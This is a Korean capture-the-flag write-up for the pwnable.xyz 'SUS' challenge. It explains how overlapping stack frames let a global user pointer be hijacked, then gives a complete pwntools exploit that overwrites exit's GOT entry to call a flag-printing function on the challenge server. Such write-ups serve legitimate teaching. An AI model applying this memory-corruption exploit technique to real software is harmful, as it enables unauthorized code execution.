[pwnable.xyz] SUS
Pwn/pwnable.xyz

[pwnable.xyz] SUS

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

다행히도 풀밭이 아니다.

<< Execution >>

<< Code >>

· main

main은 메뉴별 기능을 사용자로부터 입력받고 해당 기능에 맞는 함수를 호출해줄 뿐이다.

· create_user

문제 이름에서도 밝혔듯이 하나의 유저 공간만을 할당해준다. 이미 저장된 힙 공간이 있다면 그냥 값을 수정해주는 기능밖에 하지 못한다.

그런데 여기서 수상한 점은 쓸데없이 큰 공간을 할당해주고 있다는 것이다. 무려 0x1060 만큼이나 말이다. 무언가 힌트가 될 것 같으니 기억해두자.

· print_user

그냥 cur 전역 변수의 값을 가지고 프린트해주는 함수다.

· edit_user

cur 전역변수에 저장된 값을 기준으로 Name과 Age를 수정해주는 함수다.

create_user 함수에서도 보였던 이상한 크기의 스택 할당을 보인다.

· win

system('cat flag') 를 부르는 함수다. 이 함수를 부르도록 하면 될 것이다.

 

Thinking


이건 전역 변수인 cur이 가리키는 값을 조작해서 푸는 문제라는 건 바로 깨달을 수 있었지만 그냥 보기에는 임의 주소 쓰기 같은 방법이 딱히 떠오르지 않아 헷갈렸었다.

하지만 이후에 위에서도 언급했었던 stack alignment의 크기가 제작자가 준 힌트라고 생각하고 스택에서의 함수의 프롤로그, 에필로그 프로세스를 살펴보았다.

<< Process >>

1. main 함수를 기준으로 각 메뉴의 기능이 실행되고, 종료되면 다시 main 함수 스택으로 복귀(ret)한다. 

즉 메뉴의 기능들이 실행되면서 값들이 겹칠 수 있다!

2. create_user, edit_user의 stack alignment. 그리고 edit_user의 read_int32의 stack alignment.

위의 그림과 같이 stack이 겹쳐지게 된다. 그래서 임시로 buf에 담아서 age를 atoi로 바꾸어 다른 장소에다 저장하려는 시도는 read_int32 함수 내 저 임시 버퍼 buf 때문에 cur이 가리키는 값을 임의로 변경할 수 있게 되는 것이다!

 

🧩 Exploit Scenario 


1. create_user로 전역 변수 cur에 스택 주소 저장해주기

2. edit_user 불러서 cur 덮어주기

3. 다시 edit_user 불러서 cur가 가리키고 있는 곳 바꿔주기

- Full RELRO도 아니겠다해서 시간 지나면 자동으로 불러지는 exit 함수의 got를 덮어주기로 했다. 

 

🚩 Flag 🚩


from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./sus')
p = remote('svc.pwnable.xyz', 30011)
e = ELF('./sus')

def create_user(name, age):
  p.sendlineafter('> ', '1')
  p.sendafter('Name: ', name)
  p.sendafter('Age: ', age)
  
def edit_user(name, age):
  p.sendlineafter('> ', '3')
  p.sendafter('Name: ', name)
  p.sendafter('Age: ', age)
  
exit_got = 0x602070
win = e.sym['win']

create_user('1', '1')
edit_user('hehe', b'A' * 0x10 + p64(exit_got))

edit_user(p64(win), '0')

p.interactive()

exit 함수의 트리거가 alarm 함수인만큼 1분을 기다리면 나온다.

반응형